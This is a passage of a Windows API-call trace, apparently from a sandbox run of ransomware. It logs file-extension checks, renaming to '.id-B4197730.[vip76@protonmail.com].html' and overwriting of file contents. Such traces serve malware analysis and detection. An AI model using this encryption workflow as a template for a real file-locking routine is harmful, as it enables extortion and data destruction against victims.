	[0062.809] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0062.809] lstrlenW (lpString=".xls") returned 4
	[0062.809] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0062.809] lstrlenW (lpString=".xlsx") returned 5
	[0062.809] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1
	[0062.809] lstrlenW (lpString=".ppt") returned 4
	[0062.809] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0062.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0062.809] lstrlenW (lpString=".zip") returned 4
	[0062.809] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0062.809] lstrlenW (lpString=".rar") returned 4
	[0062.809] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0062.809] lstrlenW (lpString=".bz2") returned 4
	[0062.809] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0062.809] lstrlenW (lpString=".7z") returned 3
	[0062.809] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0062.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0062.809] lstrlenW (lpString=".dbf") returned 4
	[0062.809] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0062.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0062.809] lstrlenW (lpString=".1cd") returned 4
	[0062.809] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0062.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0062.809] lstrlenW (lpString=".jpg") returned 4
	[0062.809] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0062.810] lstrcmpiW (lpString1=".mzz", lpString2=".html") returned 1
	[0062.810] lstrlenW (lpString="netfx_Core.mzz") returned 14
	[0062.810] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0062.810] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=181483595) returned 1
	[0062.810] CloseHandle (hObject=0x2c0) returned 1
	[0062.810] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz")) returned 0x80
	[0062.810] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0062.810] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0062.811] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0062.811] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc64 | out: lpNewFilePointer=0x0) returned 1
	[0062.811] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc24 | out: lpNewFilePointer=0x0) returned 1
	[0062.811] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc30, lpOverlapped=0x0 | out: lpBuffer=0x3cd1058*, lpNumberOfBytesRead=0x311fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0063.530] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x311fc24 | out: lpNewFilePointer=0x0) returned 1
	[0063.530] ReadFile (in: hFile=0x2c0, lpBuffer=0x3d11058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d11058*, lpNumberOfBytesRead=0x311fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0063.534] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x311fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0063.534] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x311fc24 | out: lpNewFilePointer=0x0) returned 1
	[0063.534] ReadFile (in: hFile=0x2c0, lpBuffer=0x3d51058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d51058*, lpNumberOfBytesRead=0x311fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0063.559] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.559] WriteFile (in: hFile=0x2c0, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x311fca8, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fca8*=0xc0108, lpOverlapped=0x0) returned 1
	[0064.002] SetEndOfFile (hFile=0x2c0) returned 1
	[0064.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x431c220
	[0064.008] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc74 | out: lpNewFilePointer=0x0) returned 1
	[0064.008] WriteFile (in: hFile=0x2c0, lpBuffer=0x431c220*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc80, lpOverlapped=0x0 | out: lpBuffer=0x431c220*, lpNumberOfBytesWritten=0x311fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0064.009] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x311fc74 | out: lpNewFilePointer=0x0) returned 1
	[0064.009] WriteFile (in: hFile=0x2c0, lpBuffer=0x431c220*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc80, lpOverlapped=0x0 | out: lpBuffer=0x431c220*, lpNumberOfBytesWritten=0x311fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0064.010] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x311fc74 | out: lpNewFilePointer=0x0) returned 1
	[0064.010] WriteFile (in: hFile=0x2c0, lpBuffer=0x431c220*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc80, lpOverlapped=0x0 | out: lpBuffer=0x431c220*, lpNumberOfBytesWritten=0x311fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0064.012] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0064.013] CloseHandle (hObject=0x2c0) returned 1
	[0068.140] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0068.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0068.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0068.141] lstrlenW (lpString=".doc") returned 4
	[0068.141] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1
	[0068.141] lstrlenW (lpString=".docx") returned 5
	[0068.141] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1
	[0068.141] lstrlenW (lpString=".pdf") returned 4
	[0068.141] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1
	[0068.141] lstrlenW (lpString=".xls") returned 4
	[0068.141] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1
	[0068.141] lstrlenW (lpString=".xlsx") returned 5
	[0068.141] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1
	[0068.141] lstrlenW (lpString=".ppt") returned 4
	[0068.141] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1
	[0068.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0068.141] lstrlenW (lpString=".zip") returned 4
	[0068.141] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1
	[0068.141] lstrlenW (lpString=".rar") returned 4
	[0068.141] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1
	[0068.141] lstrlenW (lpString=".bz2") returned 4
	[0068.141] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1
	[0068.141] lstrlenW (lpString=".7z") returned 3
	[0068.141] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1
	[0068.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0068.141] lstrlenW (lpString=".dbf") returned 4
	[0068.142] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1
	[0068.142] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0068.142] lstrlenW (lpString=".1cd") returned 4
	[0068.142] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1
	[0068.142] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0068.142] lstrlenW (lpString=".jpg") returned 4
	[0068.142] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1
	[0068.142] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0068.142] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0068.142] lstrlenW (lpString=".doc") returned 4
	[0068.142] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1
	[0068.142] lstrlenW (lpString=".docx") returned 5
	[0068.142] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1
	[0068.142] lstrlenW (lpString=".pdf") returned 4
	[0068.142] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1
	[0068.142] lstrlenW (lpString=".xls") returned 4
	[0068.142] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1
	[0068.142] lstrlenW (lpString=".xlsx") returned 5
	[0068.142] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1
	[0068.142] lstrlenW (lpString=".ppt") returned 4
	[0068.142] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1
	[0068.142] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0068.142] lstrlenW (lpString=".zip") returned 4
	[0068.142] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1
	[0068.142] lstrlenW (lpString=".rar") returned 4
	[0068.142] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1
	[0068.142] lstrlenW (lpString=".bz2") returned 4
	[0068.142] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1
	[0068.143] lstrlenW (lpString=".7z") returned 3
	[0068.143] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1
	[0068.143] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0068.143] lstrlenW (lpString=".dbf") returned 4
	[0068.143] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1
	[0068.143] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0068.143] lstrlenW (lpString=".1cd") returned 4
	[0068.143] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1
	[0068.143] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36
	[0068.143] lstrlenW (lpString=".jpg") returned 4
	[0068.143] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1
	[0068.143] lstrcmpiW (lpString1=".msu", lpString2=".html") returned 1
	[0068.143] lstrlenW (lpString="Windows6.1-KB958488-v6001-x64.msu") returned 33
	[0068.143] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0068.143] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=5091790) returned 1
	[0068.143] CloseHandle (hObject=0x2c0) returned 1
	[0068.143] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu")) returned 0x80
	[0068.143] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0068.144] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0068.144] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0068.144] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc64 | out: lpNewFilePointer=0x0) returned 1
	[0068.144] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc24 | out: lpNewFilePointer=0x0) returned 1
	[0068.144] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc30, lpOverlapped=0x0 | out: lpBuffer=0x3cd1058*, lpNumberOfBytesRead=0x311fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0068.148] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x311fc24 | out: lpNewFilePointer=0x0) returned 1
	[0068.148] ReadFile (in: hFile=0x2c0, lpBuffer=0x3d11058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d11058*, lpNumberOfBytesRead=0x311fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0068.151] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x311fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0068.151] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x311fc24 | out: lpNewFilePointer=0x0) returned 1
	[0068.151] ReadFile (in: hFile=0x2c0, lpBuffer=0x3d51058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d51058*, lpNumberOfBytesRead=0x311fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0068.167] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.167] WriteFile (in: hFile=0x2c0, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x311fca8, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fca8*=0xc012e, lpOverlapped=0x0) returned 1
	[0069.008] SetEndOfFile (hFile=0x2c0) returned 1
	[0069.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x439e640
	[0069.015] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc74 | out: lpNewFilePointer=0x0) returned 1
	[0069.015] WriteFile (in: hFile=0x2c0, lpBuffer=0x439e640*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc80, lpOverlapped=0x0 | out: lpBuffer=0x439e640*, lpNumberOfBytesWritten=0x311fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0069.016] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x311fc74 | out: lpNewFilePointer=0x0) returned 1
	[0069.016] WriteFile (in: hFile=0x2c0, lpBuffer=0x439e640*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc80, lpOverlapped=0x0 | out: lpBuffer=0x439e640*, lpNumberOfBytesWritten=0x311fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0069.019] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x311fc74 | out: lpNewFilePointer=0x0) returned 1
	[0069.019] WriteFile (in: hFile=0x2c0, lpBuffer=0x439e640*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc80, lpOverlapped=0x0 | out: lpBuffer=0x439e640*, lpNumberOfBytesWritten=0x311fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0069.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0069.023] CloseHandle (hObject=0x2c0) returned 1
	[0071.257] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0071.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0071.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0071.258] lstrlenW (lpString=".doc") returned 4
	[0071.258] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0071.258] lstrlenW (lpString=".docx") returned 5
	[0071.258] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0071.258] lstrlenW (lpString=".pdf") returned 4
	[0071.258] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0071.258] lstrlenW (lpString=".xls") returned 4
	[0071.258] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0071.258] lstrlenW (lpString=".xlsx") returned 5
	[0071.258] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0071.258] lstrlenW (lpString=".ppt") returned 4
	[0071.258] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0071.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0071.258] lstrlenW (lpString=".zip") returned 4
	[0071.258] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0071.258] lstrlenW (lpString=".rar") returned 4
	[0071.258] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0071.258] lstrlenW (lpString=".bz2") returned 4
	[0071.258] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0071.258] lstrlenW (lpString=".7z") returned 3
	[0071.258] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0071.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0071.258] lstrlenW (lpString=".dbf") returned 4
	[0071.258] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0071.258] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0071.258] lstrlenW (lpString=".1cd") returned 4
	[0071.259] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0071.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0071.259] lstrlenW (lpString=".jpg") returned 4
	[0071.259] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0071.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0071.259] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0071.259] lstrlenW (lpString=".doc") returned 4
	[0071.259] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0071.259] lstrlenW (lpString=".docx") returned 5
	[0071.259] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0071.259] lstrlenW (lpString=".pdf") returned 4
	[0071.259] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0071.259] lstrlenW (lpString=".xls") returned 4
	[0071.259] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0071.260] lstrlenW (lpString=".xlsx") returned 5
	[0071.260] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0071.260] lstrlenW (lpString=".ppt") returned 4
	[0071.260] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0071.260] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0071.260] lstrlenW (lpString=".zip") returned 4
	[0071.260] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0071.260] lstrlenW (lpString=".rar") returned 4
	[0071.260] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0071.260] lstrlenW (lpString=".bz2") returned 4
	[0071.260] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0071.260] lstrlenW (lpString=".7z") returned 3
	[0071.260] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0071.260] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0071.260] lstrlenW (lpString=".dbf") returned 4
	[0071.260] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0071.260] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0071.260] lstrlenW (lpString=".1cd") returned 4
	[0071.260] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0071.260] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55
	[0071.260] lstrlenW (lpString=".jpg") returned 4
	[0071.260] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0071.261] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0071.261] lstrlenW (lpString="msjhn_boot.ttf") returned 14
	[0071.261] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0071.463] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=162331) returned 1
	[0071.463] CloseHandle (hObject=0x2c0) returned 1
	[0071.463] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20
	[0071.463] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.463] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0071.463] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0071.463] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0071.463] lstrlenW (lpString=".doc") returned 4
	[0071.463] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0071.463] lstrlenW (lpString=".docx") returned 5
	[0071.463] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0071.463] lstrlenW (lpString=".pdf") returned 4
	[0071.463] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0071.464] lstrlenW (lpString=".xls") returned 4
	[0071.464] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0071.464] lstrlenW (lpString=".xlsx") returned 5
	[0071.464] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0071.464] lstrlenW (lpString=".ppt") returned 4
	[0071.464] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0071.464] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0071.464] lstrlenW (lpString=".zip") returned 4
	[0071.464] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0071.464] lstrlenW (lpString=".rar") returned 4
	[0071.464] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0071.464] lstrlenW (lpString=".bz2") returned 4
	[0071.464] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0071.464] lstrlenW (lpString=".7z") returned 3
	[0071.464] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0071.464] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0071.464] lstrlenW (lpString=".dbf") returned 4
	[0071.464] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0071.464] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0071.464] lstrlenW (lpString=".1cd") returned 4
	[0071.464] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0071.464] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0071.464] lstrlenW (lpString=".jpg") returned 4
	[0071.464] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0071.464] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0071.464] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0071.465] lstrlenW (lpString=".doc") returned 4
	[0071.465] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0071.465] lstrlenW (lpString=".docx") returned 5
	[0071.465] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0071.465] lstrlenW (lpString=".pdf") returned 4
	[0071.465] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0071.465] lstrlenW (lpString=".xls") returned 4
	[0071.465] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0071.465] lstrlenW (lpString=".xlsx") returned 5
	[0071.465] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0071.465] lstrlenW (lpString=".ppt") returned 4
	[0071.465] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0071.465] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0071.465] lstrlenW (lpString=".zip") returned 4
	[0071.465] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0071.465] lstrlenW (lpString=".rar") returned 4
	[0071.465] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0071.465] lstrlenW (lpString=".bz2") returned 4
